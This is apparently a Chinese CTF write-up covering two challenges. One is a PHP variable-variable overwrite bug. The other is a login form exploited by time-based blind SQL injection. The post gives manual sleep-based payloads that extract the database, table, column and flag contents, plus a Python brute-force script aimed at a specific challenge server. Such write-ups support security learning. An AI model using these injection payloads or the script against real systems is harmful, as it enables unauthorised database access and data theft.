一,弱类型变量
1概述
这道题来自[新年快乐也不能忘记学习杯]弱类型变量,一场四校联合举办的ctf。是一道较为简单的弱类型变量。
2源码
<?php
highlight_file(__FILE__);
$_200='yooo~';
$_404='Nooo~';
include ("flag.php");
if($_SERVER["REQUEST_METHOD"]!='POST')
{
die("WTF? Did you see the code?");
}
if(!isset($_POST['ynpc']))
{
die("come on");
}
foreach ($_GET as $key => $value) {
$$key=$value;
}
foreach ($_POST as $key => $value) {
$$key=$value;
}
var_dump($_POST['ynpc']);
if($_POST['ynpc'] === $hhhh)
{
echo $flag;
}
die($_200);
?> WTF? Did you see the code?
3解析
采用我的思路解的话,playoad如下
url?=_200=$hhhh(GET)
hhhh=a&ynpc=a(POST)
4分析
解析来源于做题时候的总结,这里着重分析一下官方wp给出的playload。
url?hhhh=11(GET)
ynpc=11(POST)
其实之所以可以这样做的原因是来源于
foreach ($_GET as $key => $value) {
$$key=$value;
}
这段代码。
其中$$key=$value;
所以GET方式的实际传参为$hhhh=11,而像网上一道相类似的题目中
$$key=$$value;
会使得传参变量覆盖,而本题并没有使用变量覆盖的方法将flag传递后输出,所以解析中的方法url?=_200=$hhhh这一步有些多次一举了。(后去尝试了一下POST hhhh=a&ynpc=a 同样可以的,额,其实不用测试也可以知道的)
二,时间注入
1概述
这道题同样来自[新年快乐也不能忘记学习杯],叫fishing,明显的提示是钓鱼网站。做题的时候实在没想到是注入,因为扫出来的login.php是空白页,然后登录页面首先展示的是二维码登录,便没有继续关注了。
2解析
(根据官方的wp,eken)可以sql一把梭而且没有任何过滤,就应该也可以手注,那么身为小白的我,自然肯定不会放弃这次时间盲注的实践机会(毕竟ctfhub上的时间盲注是直接sqlmap做的,手动滑稽)。
(1)sqlmap解法
好像还要设置headers(主要是sqlmap没学到位),没有去研究,如果有看来博客大佬能把帮忙在评论区回复一下吗?
问题:如何使用sqlmap对一下内容进行注入(POST方式的嵌入式注入)?
(2)手注
下面是手注的playload,这里当然不会一个一个的去尝试啦~~
u=12341234' and if(length(database())>1,sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95 (判断数据库长度为10)
u=12341234' and if(ascii(substr(database(),1,1))>1,sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆库)
u=12341234' and if((ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),",str(j),",1)))=",str(ord(i)),",sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆表)
u=12341234' and if((ascii(substr((select column_name from information_schema.columns where table_name='fl44444g' and table_schema='challenges' limit 0,1),",str(j),",1)))=",str(ord(i)),",sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆字段)
u=12341234' and if((ascii(substr((select flag from fl44444g limit 0,1),",str(j),",1)))=",str(ord(i)),",sleep(3),1) and '&p=123123&button=%E7%99%BB+%E5%BD%95(爆字符串)
(下方爆字符串小剧场)
在使用playload之前需要使用bp进行验证,可以直接用爆库长的playload进行验证。
可以看见右下角的3,027很显然,注入成功。
下面就附上本次注入的脚本——就附上爆库名的吧。(这里要说明一下,脚本采用的是post data格式的,为不是get ?参数的格式)
#python3
def database_name(num):
name = ''
headers = {'Host': '106.54.24.23:20004',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip,deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '105',
'Origin': 'http://106.54.24.23:20004',
'Connection': 'close',
'Referer': 'http://106.54.24.23:20004/login.html',
'Cookie': 'session=e524499c-5f1c-4acd-a0a4-ee32236237ce.bXFJvIi_LSncbB8fI50fgYTVQQY;__aegis_uid=1613943549030-8023',
'Upgrade-Insecure-Requests': '1'
}
url = 'http://106.54.24.23:20004/login.php'
for j in range(1,num+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz_?><':
data = ["u=12341234'%20and%20if(ascii(substr(database(),",str(j),",1))%3d", str(ord(i)),
",sleep(3),1)%20and%20'&p=123123&button=%E7%99%BB+%E5%BD%95"]
data = ''.join(data)
time1 = datetime.datetime.now()
r = requests.post(url,headers=headers,data=data)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
name += i
print(name)
break
print('database_name:', name)